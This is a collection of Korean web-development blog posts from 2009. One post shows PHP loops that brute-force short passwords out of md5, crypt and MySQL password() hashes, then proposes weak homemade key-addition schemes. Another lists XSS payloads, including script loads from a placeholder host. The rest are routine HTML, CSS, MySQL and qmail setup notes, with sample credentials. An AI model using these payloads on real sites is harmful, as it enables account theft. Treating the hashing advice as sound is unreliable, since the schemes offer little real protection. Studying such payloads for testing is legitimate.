2009년 9월 11일 금요일

md5(), crypt(), password() 등의 문제점 및 로그인 암호화 보안

로그인에 관련된 보안얘기를 하려고 합니다.

password(); // mysql.
md5(); // php.
crypt(); // php.

뭐, 암호화에 관련된 함수들이 여러 가지 있겠지만 위 3가지 함수는 범용적으로 많이들 쓰고 있고
안정성이 검증된 함수들이죠.. 그리고 모두 복호화가 안되거나, 어려운 해쉬함수들입니다.

흔히 password() 로 암호화시킨 비밀번호... 원래의 값을 절대 알 수 없다고들 표현합니다......

절대 알 수 없다 ?
절대 알 수 없다 ?
절대 알 수 없다 ?

id = 'abcd'
pw = '4ed0bdda4ee8f6a5'

위 pw 원래의 값을 과연 절대 알 수 없을까요 ? 정말 그럴까요 ?


password() 뿐 아니라, md5(), crypt() 등 해쉬함수들이 있는데요....
지금부터 제가 생각하고 있는 바를 차근차근 얘기해 나가려고 합니다....

그다지 어려운얘기 아니고요,

누구나 알 수 있는 쉬운 얘기들뿐입니다..

( 제가 워낙 쉬운 것만 좋아해서 쉬운 것밖에는 모릅니다 ^^ )


--------------------------------------------------------------------------------------


가령,

사용자가 비밀번호를 '3204' 라고 입력한 것을  md5() 로 해쉬시키면

' 640258597cbc50037072712f964cf5d8 ' 라는 값이 나오게 되지요...

md5() 는 디코딩을 지원하지 않는 단방향성 해쉬함수이기에 위 문자열을 보고 원래 값 '3204'를
추출 할 수는 없을 것입니다.

나머지 password(), crypt() 들도 마찬가지죠.. 상당히 어려운 알고리즘을 통해 해쉬된 문자열이
나오면서 원래의 값을 알아낼 수는 없게 됩니다.

특히 crypt() 는 두 번째에 주어지는 salt 값에 따라  똑같은 패스워드를 해쉬해도 결과는
매번 틀리게 됩니다...

가령,

$password = '20930';
$savepw = crypt( $password, md5( time() ) );
이런식으로 하면

실행 할 때마다 94JrlBxXigCZU , 30K4887zrFHBw , 등의 틀린 결과를 나오게 합니다.

모두 대단한 함수들입죠 ~~


------------------------- 그런데, 취약점은 항상 있는 법 --------------------------------

아이디 해킹을 하기위한 몇 가지 조건들이 있기 마련이죠..
그중, 해킹에 의해 DB가 노출되었다고 칩니다......

DB 비번관리를 잘못하던지, 디렉토리파싱을 당하던지 여러 이유로 DB가 노출되었다고 치구요..

DB 내용에는 사용자 계정 정보가

id = 'abcd'
pw = '640258597cbc50037072712f964cf5d8'

위처럼 되있다고 치구요.....


비밀번호가 암호화 되어있으니, 과연 안전할까요 ?

그런데 위 문자열 패턴을 보면, md5 로 해쉬된 것을 쉽게 알 수 있습니다.
지금부터 md5() 함수를 이용해서 원래의 비번을 찾아보도록 하겠습니다.

<?
for( $pw = 0; $pw < 99999; $pw ++ ) {
       if( '640258597cbc50037072712f964cf5d8' == md5( $pw ) ) {
              echo "find ok : $pw ";
              break;
       }
}
// 출력 -> find ok : 3204
?>

간단하게 찾았습니다.



그러면, crypt() 는 안전 할까요 ??

아닙니다.. crypt() 역시 똑 같습니다..

노출된 DB 에.
id = 'abcd'
pw = '12FP8QJo.OCVg';

위 문자열 패턴을 보면, crypt() 로 해쉬된 것을 알 수 있습니다.
이것도 원래의 비번을 찾아보도록 하겠습니다.
<?
for( $i = 0; $i < 99999; $i ++ ) {
       if( '12FP8QJo.OCVg' == crypt( $i, '12FP8QJo.OCVg' ) ) {
              echo " find ok : $i ";
              break;
       }
}
// 출력 -> find ok : 20930
?>

이번에도 결과가 나와 버립니다.


하지만 실제 암호는 숫자만 쓰는 것이 아니고, 문자열을 섞어서 입력하겠지요?
그렇다고 못 찾는 건 아닙니다.
.....
.....
$pw = $chk.chr($i);
if( '640258597cbc50037072712f964cf5d8' == md5( $pw ) ) {
.....
.....
}
$i ++;
if( $i > 126 ) $chk = ( ord( $chk ) + 1 );
.....
.....

저런 식으로 숫자 대신 문자를 자동으로 대입하게 해서 돌아가게 만들면 된다는 것이죠....

수행시간이 오래 걸린 것입니다만,,
문자 하나당 유효값이 93 자 인가? 그러니, 비밀번호가 4글자만 되도
loop 를 93 * 93 * 93 * 93 = 74,805,201 번을 돌아야 할 것입니다...

문제는 요즘 컴퓨터 성능이 워낙 좋아져서, loop 도는 시간이 그리 오래 걸리지도 않고,
또, 단위별로 끊어서 몇 단계 나누어서 병렬로 돌리면 결과는 더욱 빨리 나오게 된다는 것이죠.

그리고, 시간이 좀 걸려서 1주일쯤 걸렸다고 칩니다.
그 1주일동안 해커가 컴퓨터 앞에 매달려 있습니까 ? 잠을 못잡니까 ?
계속 지켜봐야 합니까 ?? 아니면 컴퓨터가 망가집니까 ?

그냥 디코드 돌려놓고 지 할일 하다가 결과 나오면 그때 해킹하는 것이죠...



------------------------------------------------------------------------------

결국은 DB 가 노출되거나, 해쉬된 비밀번호의 결과값이 노출되면 게임은 끝이라는 겁니다.

가령, 비밀번호를 암호화시켰다고 해서 비밀번호를 쿠키로 날아다니게 한다던지,
페이지에 폼값으로 날려준다던지 하는 것은 해커에게 비밀번호를 다이렉트로 알려주는 것과
같습니다......

그럼,

비밀번호 안 날라 다니게 하고 DB노출만 막으면 안전할까요 ??


그것도 만만치 않습니다.

크라이언트에서 서버 접속해서 비밀번호 처음에 날려줄 때,,,,
네트웍을 감시당하면 아예, 원 비밀번호가 그대로 노출될 수 있습니다...

그래서 클라이언트에서도 JavaScript 를 이용해서 나름대로 암호화시킨 문자열을
날아다니게 하지요...

네트웍 감시를 당했을 때, 암호화된 비밀번호가 노출되는 것이구요..

하지만,, 이 역시 결과는 마찬가지죠.......

이 경우는 암호를 풀고 자시고도 없이
그냥 암호화된 비번 그 자체를 login 페이지로 날려서 그대로 접속해 버리면 되지요..
이 경우라면 원래의 암호는 알 필요도 없는 것이지요..


-------------------- 그럼 가장 안전한 방법은 무엇인가 ---------------------------------

개발자는 어떤 상황이던 비밀번호 스트링이 네트웍감시를 당하던, DB 가 노출되던 해서
해커에게 알려진다고 간주해야 합니다.

그럼 이러던 저러던 끝이라는 얘기일까요 ?
... 꼭 그렇지만은 않다고 봅니다.

여기서 우리는 보안을 위해 몇 가지 노력해야 할 것이 있습니다.


#-------------- 비밀번호가 어떤 모듈로 해쉬가 됐는지 모르게 하자.

가장 쉬운 방법은,, 암호화함수 1개에 의존하지 않고 여러 함수를 거쳐 2중 3중으로 돌려야 합니다.



#-------------- 외부에 노출이 안되는 서버만의 고유한 토큰키를 만들자.

가령,

사용자가 '1234' 라는 비밀번호를 쳤을 때 DB 저장할 때는 고유의 '키값'을 정해 눌러서 저장합니다.
예) 키값 '1011' + 비밀번호 '1234' = '2245'
저장도 '2245' 로 저장하고 로그인 인증 때도 또 키값을 더해서 인증하는 것이죠...

'키값'은 절대 DB 에 저장하지 않고, 파일로 접근하게 만듭니다.
서버 자체가 해킹당하기 전에는 절대 볼 수 없도록 실행권한과 접근권한도 설정 되야 겠지요..



#-------------- 클라이언트와 주고받는 비밀번호역시 또 다른 유일한 '키값'을 부여해서 주고받습니다...

서버쪽에서 DB 저장할 때와는 조금 틀리죠...
이 '키값'은 접속시마다 틀리게 합니다.

예) 키값 '0012'

클라이언트 '1234' + '0012' = '1246' ---- 송신 ----> 서버 '1246' - '0012' = '1234' 저장.

그런데,
주고 받을때 사용하는 키값은 클라이언트 페이지에 남아 있으면 안됩니다.

가령,

<form name=hashKey type=hidden value='<?=$hashKey?>'>

저렇게 되 있다면,

Temporary Internet Files 디렉토리만 뒤져봐도 키값이 노출되겠지요...

그러니 페이지에 남기지 않고 로그아웃시 메모리에서 사라지게
lifetime 0 짜리 1회용 쿠키나 세션에 담아쓰면 좀 낳을 수 있겠지요...

페이지에서 쿠키값을 검색해서 '키값'을 뽑아내고 메모리 상에서만 연산을 하면 되겠지요..

저렇게나마 해 두면 네트웍 감시를 당해도

id = 'abcd'
pw = '1246'
이라는 해쉬된 값이 나오기 때문에 원래의 비밀번호 '1234' 는
'키값'을 알기 전에는 무용지물이 되겠지요....

그리고  login 페이지로 '1246'을 날려도 소용없게 해야죠...
주고받는 그 때만 생성되는 유니크한 값을 '키값'으로 사용해서
어떨 때는 '1246' 이 '1234' 로 해석되지만,
어떨 때는 '3266' 이 '1234' 로 해석이 되게 하는 등.....
지속적으로 키값이 바뀌게 해야 하는 것이죠.....


보통 setCookie("hashKey", rand( 1000, 9000), 0 ) 식으로 라이프타임을 0 으로 주면
페이지 접속창이 닫힐 때 까지만 한번 정해진 '키값'이 유효한 상태가 되고,
이후 새로운 창이 열리거나 기존 창을 닫으면 사라지게 되지요..

쿠키도 마찬가지로 라이프타임을 0 으로 주면 되구요,.,



------------- 이정도 가지만 해도 ---------------------------------------------------

# DB 가 노출되었을 때 사용자들을 보호할 수 있습니다.

# 네트웍이 감시를 당해도 원래의 아이디를 모를 뿐 아니라
    해쉬된 스트링으로 로그인을 시도해도 키값이 수시로 변하기에 안전할 수 있습니다.



물론 헤커가 세션과, 쿠키까지 파싱하고, 서버디렉토리도 들락날락거린다면 속수무책이 되게지만,
최소한 실력없는 헤커로부터는 안전을 보장받을 수 있게 됩니다.




아참,
mysql 의 password() 함수를 실험 안 해 보았군요....



id = 'abcd'
pw = '4ed0bdda4ee8f6a5'

<?
for( $i = 0; $i < 99999; $i ++ ) {

       $temp = mysql_fetch_array( mysql_query ( "select password('$i')" ) );

       if( '4ed0bdda4ee8f6a5' == $temp[0] ) {
              echo " find ok : $i ";
              break;
       }
}
// 출력 -> find ok : 50267
?>

2009년 8월 10일 월요일

XSS 공격 Sample Code

XSS 공격은 다양한 형태의 취약성과 결합하여 피해와 위험 모두 커지고 있습니다.

 

이에 대표적인 XSS 공격 셈플 코드를 보시고 필요하신 분들은 보안 테스트를 해보시기 바랍니다.

 

본 코드들은 대부분의 웹어플리케이션 보안시스템(웹방화벽 등)에서는 시그니쳐 등에 의해서 기본적으로 필터링이 되는것이 당연할 테니 실제로 해킹에 적용할때는 다양한 변형방법을 통한

코드 변조가 이뤄집니다.

대표적으로 다양한 TAG나 자바스크립트등을 이용하는데, 이 방법 역시 다양한 코드 변환 기법이 있어 막는자 입장에서는 쉽지 않은 게임이라고 봅니다.

 

 

 

===================================샘플 코드 시작=======================================

 

[1] XSS Javascript Injection

      <SCRIPT SRC=http://xxx/xss.js></SCRIPT>

 

[2] Image XSS의 다양한 Type

      <IMG SRC="#">

      <IMG SRC=javascript:alert!('XSS')>

      <IMG SRC=JaVaScRiPt:alert!('XSS')>

      <IMG SRC=javascript:alert!("XSS")>

      <IMG SRC=`javascript:alert!("RSnake says, 'XSS'")`>

      <IMG """><SCRIPT>alert!("XSS")</SCRIPT>">

      <IMG SRC=javascript:alert!(String.fromCharCode(88,83,83))>

      <IMG SRC=javascript:alert('XSS')>

      <IMG SRC=javascript:alert('XSS')>

      <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

      <IMG SRC="jav ascript:alert!('XSS');">

      <IMG SRC="jav ascript:alert!('XSS');">

      <IMG SRC="jav ascript:alert!('XSS');">

      <IMG SRC="jav ascript:alert!('XSS');">

      <IMG SRC="   javascript:alert!('XSS');">

      <IMG SRC="#"

      <IMG DYNSRC="javascript:alert!('XSS')">

      <IMG LOWSRC="javascript:alert!('XSS')">

      <IMG SRC='vbscript!:msgbox("XSS")'>

 

[3] Non-alpha-non-digit XSS

      <SCRIPT/XSS SRC="http://xxxx/xss.js"></SCRIPT>

 

[4] Title Tag XSS

      </TITLE><SCRIPT>alert!("XSS");</SCRIPT>

 

[5] Input Tag XSS

      <INPUT TYPE="IMAGE" SRC="#">

 

[6] Body Tag XSS

      <BODY BACKGROUND="javascript:alert!('XSS')">

      <BODY >

 

[7] Meta Tag XSS

      <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert!('XSS');">

      <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert!('XSS');">

 

[8] Frame Tag XSS

      <IFRAME SRC="#"></IFRAME>

      <iframe src=http://xxxx/scriptlet.html <

      <FRAMESET><FRAME SRC="#"></FRAMESET>

 

[9] Table Tag XSS

      <TABLE BACKGROUND="javascript:alert!('XSS')">

      <TABLE><TD BACKGROUND="javascript:alert!('XSS')">

 

[10] DIV Tag XSS

      <DIV STYLE="background-image: url(javascript:alert!('XSS'))">

      <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

      <DIV STYLE="background-image: url(javascript:alert!('XSS'))">

      <DIV STYLE="width: expression!(alert!('XSS'));">

 

[11] Style Tag XSS

      <STYLE>@import!'http://xxx/xss.css';</STYLE>

      <XSS STYLE="behavior: url(xss.htc);">

      <STYLE>li {list-style-image: url("javascript:alert!('XSS')");}</STYLE><UL><LI>XSS

      <STYLE>@im\port'\ja\vasc\ript:alert!("XSS")';</STYLE>

      <IMG STYLE="xss:expr/*XSS*/ession(alert!('XSS'))">

      <XSS STYLE="xss:expression!(alert!('XSS'))">

      <STYLE>.XSS{background-image:url("javascript:alert!('XSS')");}</STYLE><A CLASS=XSS></A>

      <STYLE type="text/css">BODY{background:url("javascript:alert!('XSS')")}</STYLE>

 

[12] Various Tag XSS

      <LINK REL="stylesheet" HREF="javascript:alert!('XSS');">

      <LINK REL="stylesheet" HREF=http://xxx/xss.css>

      <!--[if gte IE 4]><SCRIPT>alert!('XSS');</SCRIPT><![endif]-->

      <BASE HREF="javascript:alert!('XSS');//">

      <EMBED SRC=http://xxxx/xss.swf AllowScriptAccess="always"></EMBED>

 

[13] Other Types

      <<SCRIPT>alert!("XSS");//<</SCRIPT>

      <SCRIPT>a=/XSS/alert!(a.source)</SCRIPT>

      \";alert!('XSS');//

      ¼script¾alert!(¢XSS¢)¼/script¾

2009년 7월 29일 수요일

이벤트 핸들링

onAbort 이미지를 로딩하는 작업이 사용자의 행동으로 인해 취소되었을때
onBlur 문서나 윈도우, 프레임세트, 폼 요소에서 현재 입력 포커스가 사라질때
onChange 텍스트 필드나 텍스트 영역, 파일 업로드 필드, 선택 항목이 변경되어 현재 입력 포커스가 사라질 때
onClick 링크나 클라이언트측 이미지맵 영역, 폼 요소가 클릭되었을 때
onDbClick 링크나 클라이언트측 이미지맵 영역, 문서가 더블 클릭되었을 때
onDragDrop 드래그된 객체가 윈도우나 프레임에 드롭되었을 때
onError 이미지나 윈도우, 프레임을 로딩하는 동안 에러가 발생할 때
onFocus 문서나 윈도우, 프레임 세트, 폼 요소에 입력 포커스 놓였을 때
onKeyDown 키를 누를 때
onKeyPress 키를 눌렀다 놓았을 때
onKeyUp 키를 놓았을 때
onLoad 이미지나 문서, 프레임이 로드될 때
onMouseDown 마우스 버튼 누를 때
onMouseMove 마우스를 이동할 때
onMouseOut 링크나 클라이언트측 이미지맵에서 마우스를 옮길 때
onMouseOver 마우스를 링크나 클라이언트측 이미지맵으로 옮길 때
onMouseUp 마우스 버튼을 놓았을 때
onMove 사용자가 윈도우나 프레임에서 이동할 때
onReset 폼의 리셋 버튼을 클릭하여 폼을 리셋시킬 때
onResize 사용자가 윈도우나 프레임의 크기를 조절할 때
onSelect 텍스트는 텍스트 필드나 영역에서 선택되었을 때
onSubmit 폼이 제출될 때 (서브밋 버튼 눌렀을 때)
onUnload 사용자가 문서나 프레임 세트를 종료할 때

window.onload와 window::onload()

페이지 로딩시 시작할 스크립트 선언에 대해 <body onload="">의 onload를 많이 사용해 보았을 것입니다.

그리고 모든 페이지에서 공통으로 들어갈 스크립트는 페이지 마다 작성을 하지 않고, js 파일을 만들어 연결을 하여 사용을 할 것입니다.


여기서 그럼 모든 페이지에서 load시 공통으로 실행될 스크립트는 어떻게 작업을 할까요??

window.onload를 사용 하면 됩니다.


window.onload = function(){ 시작시 실행될 내용 }

이런식으로 말이죠.


그런데 문제는 window.onload와 <body onload="">는 동시에 사용을 할 수 없습니다.

<body onload="">가 실행이 되면 window.onload는 실행이 되지 않는 문제가 있습니다.


그래서 이를 해결하고자 할때 사용하는 것이

window::onload()입니다.

function window::onload(){ 시작시 실행될 내용 }

이렇게 사용을 하면 됩니다.


실행 순서는 <body onload="">가 먼저 실행되고, 이어서 window::onload()가 실행됩니다

모서리가 둥근 박스 (CSS)

.rtop, .rbottom{display:block; background: #FFFFFF;}
.rtop *, .rbottom *{display: block; height: 1px; overflow: hidden; }

.r { text-align: center; width:80px; font: bold 12px; color: #000000 }
.r1 { margin: 0 5px; background: #DEDEDE; height: 1px; }
.r2 { margin: 0 3px; border: solid #DEDEDE; border-width: 0 2px; }
.r3 { margin: 0 2px; border: solid #DEDEDE; border-width: 0 1px; }
.r4 { margin: 0 1px; border: solid #DEDEDE; border-width: 0 1px;  height: 2px}
.rc { border: solid #DEDEDE; border-width: 0 1px; }


<div class="r">

<b class="rtop"><b class="r1"></b><b class="r2"></b><b class="r3"></b>

<b class="r4"></b></b>

<div class="rc">
<a href='<? echo "$g_dir/index.php" ?>' target="_blank">상점가기</a>
</div>

<b class="rbottom"><b class="r4"></b><b class="r3"></b> <b class="r2"></b>

<b class="r1"></b></b></div>

팝업관련 스크립트 (팝업창 닫고, 부모 페이지로 이동)

function MovePage() {
  opener.location.href="member.php"
  window.close()
 }

<a href="javascript:MovePage();">글또는 이미지</a>

팝업창 닫고 부모창을 리로드

<script language="JavaScript" type="text/javascript">
opener.location.reload();
window.close();
</script>

팝업로그인 할때 팝업창을 닫고 부모창으로 리로드를 시켜줌

자바스크립트 php 연동 풍선도움말

<!-- 풍선도움말 스크립트 시작 -->
 <style>
 div.none { padding:15px 15px 15px 15px; width:200px; position:absolute; border-width:3; border-color:#cccccc; border-style:solid;font-size:9pt; background-color:#FFFFFF }
 </style>
 <script>
 <!--
 var preview="";
 var gobj="";
 function attachEvent_(obj, evt, fuc, useCapture) {
   if(!useCapture) useCapture=false;
   if(obj.addEventListener) { // W3C DOM 지원 브라우저
  return obj.addEventListener(evt,fuc,useCapture);
   } else if(obj.attachEvent) { // MSDOM 지원 브라우저
  return obj.attachEvent("on"+evt, fuc);
   } else { // NN4 나 IE5mac 등 비 호환 브라우저
  MyAttachEvent(obj, evt, fuc);
  obj['on'+evt]=function() { MyFireEvent(obj,evt) };
   }
 }

 function detachEvent_(obj, evt, fuc, useCapture) {
   if(!useCapture) useCapture=false;
   if(obj.removeEventListener) {
  return obj.removeEventListener(evt,fuc,useCapture);
   } else if(obj.detachEvent) {
  return obj.detachEvent("on"+evt, fuc);
   } else {
  MyDetachEvent(obj, evt, fuc);
  obj['on'+evt]=function() { MyFireEvent(obj,evt) };
   }
 }

 function MyAttachEvent(obj, evt, fuc) {
   if(!obj.myEvents) obj.myEvents= {};
   if(!obj.myEvents[evt]) obj.myEvents[evt]=[];
   var evts = obj.myEvents[evt];
   evts[evts.length]=fuc;
 }

 function MyFireEvent(obj, evt) {
   if(!obj.myEvents || !obj.myEvents[evt]) return;
   var evts = obj.myEvents[evt];
   for (var i=0;i<len;i++) {
  len=evts.length;
  evts[i]();
   }
 }

 function previewShow(e, obj, pv) {
   preview=pv;
   gobj=obj;
   attachEvent_(obj, "mousemove", previewMove, false);
   attachEvent_(obj, "mouseout", previewHide, false);
 }

 function previewMove(e) {
   var hb = document.getElementById(preview);
   if(hb.parentElement) hb.parentElement.style.display="";
   else hb.parentNode.style.display="";
   var evt = e ? e : window.event;
   var posx=0;
   var posy=0;

   if (evt.pageX || evt.pageY) { // pageX/Y 표준 검사
  posx = evt.pageX +8;
  posy = evt.pageY +16;
   } else if (evt.clientX || evt.clientY) { //clientX/Y 표준 검사 Opera
  posx = evt.clientX +10;
  posy = evt.clientY +20;
  if (window.event) { // IE 여부 검사
    posx += document.body.scrollLeft;
    posy += document.body.scrollTop;
   }
   }

   hb.style.left = posx + "px";
   hb.style.top = posy + "px";
 }

 function previewHide() {
   var hb = document.getElementById(preview);
   if(hb.parentElement) hb.parentElement.style.display="none";
   else hb.parentNode.style.display="none";

   detachEvent_(gobj,"mousemove", previewMove, false);
 }
 -->
 </script>
 <!-- 풍선도움말 스크립트 끝 -->


아래는 php부분에 입력

$i의 갯수만큼 출력되게 생성한다.


 echo "<td><a href='#' onmouseover=previewShow(event,this,'tt_kin_$i');><img src='img/icon3.gif' border=0></a><span style=display:none><div id=tt_kin_$i class=none>".$info2."</div></span></td>";

이미지가 지정크기보다 클 때만 자동 리사이즈

<img src="1.gif" width="187" height="32" alt="" border="0" onload="if(this.width>150){this.width=150}">

DOCTYPE HTML PUBLIC/....의 각 호환모드 DTD

HTML 4.01 호환모드


코드:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

가장 최근의 CSS 규격을 따름. 엘리먼트 배치가 자유로움, 스크롤링 레이어 같은건 사용불가능, position, display 속성과 구현 방법의 차이가 상이, frame 사용 불가능


HTML 4.01 엄격모드


코드:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

1999년 12월 24일 확정 규격. 권장하지 않는 element, attribute, frame 사용불가, 엘리먼트 배치가 엄격함, 일부태그가 완전히 먹통, 가장 이상적인 문서작성시 사용.



XHTML 1.0 호환모드


코드:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

1999년 12월 24일 확정된 프레임문서. frameset이 사용가능. 하지만 넷스케이프.. 파폭쪽의 frame은 전혀 작동 되지 않음



XHTML 1.0 엄격모드


코드:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

테이블 크기 고정하기[table-layout:fixed]

<table width="600" border="0" cellpadding="0" cellspacing="0" style="table-layout:fixed">
<tr>
<td height="auto" style="padding:20 20 20 20; word-break:break-all;"><%=contents%></td>
</tr>
</table>

1. style="table-layout:fixed"

    -> 테이블의 크기를 고정해 줍니다. 가로세로 모두 고정이 됩니다

2. style="word-break:break-all;"

    -> 1.의 방법으로 고정된 테이블에 긴 글을 넣을경우 가로가 고정되어 있으므로 글자가 잘려 보이는 경우가 발생.이것을 방지하고 글의 자동 줄바꿈 효과를 줍니다

3. height="auto"

   -> 1.의 방법으로 고정된 테이블의 세로때문에 글이 고정된 세로길이까지만 보입니다. 이것을 방지하기위해 세로의 길이를 오토로 조정해줍니다.

인풋텍스트 한글만 영문만 모드

style="ime-mode:auto"(자동변경)->한/영 전환가능

style="ime-mode:active"(한글모드) ->한/영전환가능

style="ime-mode:inactive"(영문모드)->오직영문

style="ime-mode:disabled"(영문모드)->한/영전환가능

style="ime-mode:deactivated"(한글모드)->한/영전환가능 

MySQL 데이터베이스 백업

MySQL 데이터베이스 백업 :

 

mysqldump -h서버 -u사용자 -p암호 [백업할 테이터베이스 이름] > [저장할 파일 이름(*.sql )]

 

>> mysqldump -hlocalhost -uroot -ppassword testdb1 > testdb1-2007-06-27.sql

 

MySQL 테이블 백업 :

 

mysqldump -h서버 -u사용자 -p암호 [테이타베이스] [백업할 테이블 이름] > [저장할 파일 이름(*.sql)]

 

>> mysqldump -hlocalhost -uroot -ppassword testdb1 tbl1 > testdb1-tbl1-2007-06-27.sql

 

MySQL 데이터베이스 복구:

 

mysql -h서버 -u사용자 -p암호 [복구할 테이터베이스] < [저장된 파일]

 

>> mysql -hlocalhost -uroot -ppassword testdb1 < testdb1-2007-06-27.sql 

sulinux 1.5 + 큐메일

큐메일에 대한 설치사례는 많지만 sulinux에서는 드문 경우라서 올려둔다.

http://www.qmailrocks.org/

위 사이트도 참고할만한 사이트이다. 내용도 잘정리되어 있고 기본적으로 레드햇이나 다른 버전의 설명도
함께 담고 있다.

아래는 내가 큐메일을 설치하면서 설정했던 값들과 설치했던 방법을 간략하게 적어보았다.
한번해보라 큐메일은 한번 설치가 되었다고 해서 간단하게 운영되지 않는다.
최근 네이버도 큐메일로 바꾼것 같던데 아니면 그이전부터 사용했는지도 모르겠다.
장점은 많다. 하지만 단점도 만만치 않은 설치부터 운영의 어려움까지 어느것하나 쉽지는 않다.
만일 운영을 할꺼라면 윈도우서버의 메일서버를 추천한다. 간단한 설치에 운영도 편하다.
메일서버의 가장 핵심기능은 뭐니뭐니 해도 스팸기능일 것이다.
이부분에 대해서는 큐메일도 마찬가지다. 결국 걸러서 받아낼 수 밖에 없다.
스팸메일서버로 사용될 일은 없겠지만 그래서 스팸이 안들어온다는 것은 아니다.
테스트해본 결과 무지막지하게 들어온다. 다른 스팸차단기를 사용해야 한다면 큐메일은 비추천이다.
연동하기 어려운 것보다는 쉬운게 좋다.
또 속도에 대해서는 그리 빠르다라고 느낄만한 수준이 아니다. 서버사양의 문제도 있겠지만
같은 서버로 테스트해본 결과 샌드메일서버나 큐메일이나 별반 차이가 없었다.
테스트는 3만건정도 했었다. 이정도라면 윈도우서버가 더 나은 편이다. 현재 회사의 메일서버는
윈도우메일서버를 운영하고 있다. 기존 샌드메일서버가 스팸서버로 해킹되는 바람에 어쩔 수 없이
갈아탔다. 이렇게 길게 설명했는데도 큐메일이 좋다고 생각한다면 어쩔수 없다.
한번 해보라 그래도 좋다고 한다면 메뉴얼을 잘 만들어서 여러 사람이 쓸 수 있도록 해주면 좋겠다.

1. openssl-devel 설치
yum install openssl-devel

2. Qmailrocks 설치
http://www.qmailrocks.org/download.htm

3. 다람쥐메일 설치

==============아래는 설치시 필요했는 설정값==================================

./config-fast webmail.adbank.co.kr

Country Name (2 letter code) [GB]: ko
State or Province Name (full name) [Berkshire]: adbank
Locality Name (eg, city) [Newbury]: adbank
Organization Name (eg, company) [My Company Ltd]: adbank.co.kr
Organizational Unit Name (eg, section) []: webmail
Common Name (eg, your name or your server's hostname) []: webmail.adbank.co.kr
Email Address []: postmaster@adbank.co.kr


echo "localhost|0|admin|5555|vpopmail" > ~vpopmail/etc/vpopmail.mysql

GRANT select,insert,update,delete,create,drop ON vpopmail.* TO admin@localhost IDENTIFIED BY '5555';

mysql -u admin -p

./configure --enable-cgibindir=/usr/local/apache_2.0.59/cgi-bin/ --enable-htmldir==/var/www/html

<Directory "/usr/local/apache_2.0.59/cgi-bin/vqadmin">
deny from all
Options ExecCGI
AllowOverride AuthConfig
Order deny,allow
</Directory>

cd /usr/local/apache_2.0.59/cgi-bin/vqadmin

/var/www/html/.htpasswd

chown nobody .htaccess

htpasswd -bc /var/www/html/.htpasswd admin 5555

chmod 644 /var/www/html/.htpasswd

./configure --enable-cgibindir=/usr/local/apache_2.0.59/cgi-bin/ --enable-htmldir=/var/www/html

echo postmaster@adbank.co.kr > /var/qmail/alias/.qmail-root

echo postmaster@adbank.co.kr > /var/qmail/alias/.qmail-postmaster

echo postmaster@adbank.co.kr > /var/qmail/alias/.qmail-mailer-daemon

rpm -e --nodeps sendmail-8.13.1-3.RHEL4.5.SULinux.1

rpm -e --nodeps sendmail-cf-8.13.1-3.RHEL4.5.SULinux.1

courierpassd 106/tcp #for /etc/xinetd.d/courierpassd

chown -R nobody:nobody /var/sqattachements

chown -R nobody:nobody data

<VirtualHost 211.203.170.86:80>
ServerName webmail.adbank.co.kr
ServerAlias mail.*
ServerAdmin postmaster@adbank.co.kr
DocumentRoot /var/www/webmail
</VirtualHost>

[php+웹메일]RoundCube Webmail

대부분 다람쥐메일을 사용해왔을 것이다.
하지만 디자인의 한계로 인해 많은 어려움이 있을 것이다. 나도 다람쥐메일로 웹메일을 개발해본적이 있지만
여간 귀찮은 일이 아니었다.

라운큐브웹메일은 그런 의미에서 상당한 웹메일일 것이다.
중소형의 웹메일를 운영하기를 원한다면 만족할 수 있을 것이다.

참고사이트 http://roundcube.net/

계속해서 버젼업을 하고 있는 중이다.
자세한 것은 사이트에서 참고하면 될 것이다.

단점으로는 다람쥐메일에서의 스팸기능이나 주소록등의 기능이 미약한 것이 흠이다.
하지만 AJAX로 연동되어 미려한 디자인은 그런 부분을 감수할 수 있을 것이다.

납품을 해야할 경우라면 좀 더 보완이 되어야 겠지만 개인적인 목적이라면
회사내의 웹메일로 써도 괜찮을 듯하다.

현재 roundcubemail-0.2.2.tar.gz 버젼까지 나와있다.

[php+검색엔진]orcasearch_2.3a 검색엔진

대학사이트를 개발하면 검색엔진이 필요해서 자료를 찾던 중 아주 뛰어난 검색엔진을 발견했다.
물론 GPL이다.

기존에는 SearchBlox 라는 검색엔진을 사용했는데 이것은 윈도우 서버용만 있고 리눅스서버용으로는
개발이 되지 않았다. (홈페이지에는 유닉스용으로는 있었다.) 결과적으로 중요한 것은
검색되는 페이지양이 제한되어 있다. 1000페이지로 말이다. 이런 난감한 상황에서
찾게 된것이 orcasearch 이다.

http://www.greywyvern.com/orca#search

위의 사이트에서 다운받을 수 있다. 영문버젼과 이탈이아버젼만 있다.
특징으로는 검색제한이 없다는 것과 자유로운 검색페이지 디자인 될 것이다.

그리고 환경은 php+mysql 로 비교적 설치도 간단하다. 윈도우서버에 apm 를 올리고 해봤지만
필요한 라이브러리가 제한적이어서 사용이 안된다.

그렇다고 방법이 없지는 않다. 리눅스서버에 올려서 검색하려는 사이트 주소만 넣어주면 얼마든지
연결해서 사용할 수 있기 때문이다.

검색속도도 만족할만하다. 기존 SearchBlox와 비교해서 속도의 차이가 없었다. 오히려 더 빠르고 정확한
검색결과를 보여주기도 했다.

현재는 영동대학교와 거창 승강기대학에 설치되어 운영중에 있다.
상용검색엔진에 비해서 손색없는 성능을 갖추었다고 할 수 있겠다.
포털사이트나 커뮤니티사이트를 개발시에는 연동해볼만 하겠다.

설치파일을 첨부한다.

[php+보안]한국정보보호진흥원 CASTLE 사용법

□ CASTLE의 주요기능
o 보안성 강화
- OWASP 10대 주요 취약점 해결
